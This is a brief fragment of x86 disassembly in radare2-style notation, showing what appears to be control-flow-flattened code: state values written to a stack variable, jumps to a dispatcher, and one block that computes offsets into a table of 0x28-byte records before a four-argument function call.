mov dword [ebp - 0xacfd8], 0x527418c1
jmp 0x414168
mov eax, dword [ebp - 0xacf9c]
mov dword [ebp - 0xacfd8], 0x35a19754
jmp 0x414168
mov eax, dword [ebp - 0xacf98]
mov eax, dword [ebp - 0xacf94]
mov dword [ebp - 0xacfd8], 0xda73472c
jmp 0x414168
mov eax, dword [ebp - 0xacf88]
mov eax, dword [ebp - 0xacf84]
mov dword [ebp - 0xacfd8], 0x49348506
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xc6eb5bf6
jmp 0x414168
mov eax, dword [ebp - 0xacf6c]
mov dword [ebp - 0xacfd8], 0x2ba7125d
jmp 0x414168
mov eax, dword [ebp - 0xacf6c]
mov dword [ebp - 0xacfd8], 0xf15b56fa
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xe662ee7f
jmp 0x414168
mov dword [ebp - 0xacfd8], 0xc12f7e4c
jmp 0x414168
mov eax, dword [ebp - 0xacfbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xacf74]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0xacfc4]
mov esi, dword [eax]
mov eax, dword [ebp - 0xacfbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xacf74]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
sub esi, eax
mov eax, dword [ebp - 0xacf78]
mov ecx, dword [ebp - 0xace84]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0040f860
add esp, 0x10
mov dword [ebp - 0xacfd8], 0x3edc09c
jmp 0x414168
mov dword [ebp - 0xacfc8], 0
mov dword [ebp - 0xacfd8], 0x79d86358
jmp 0x40f96c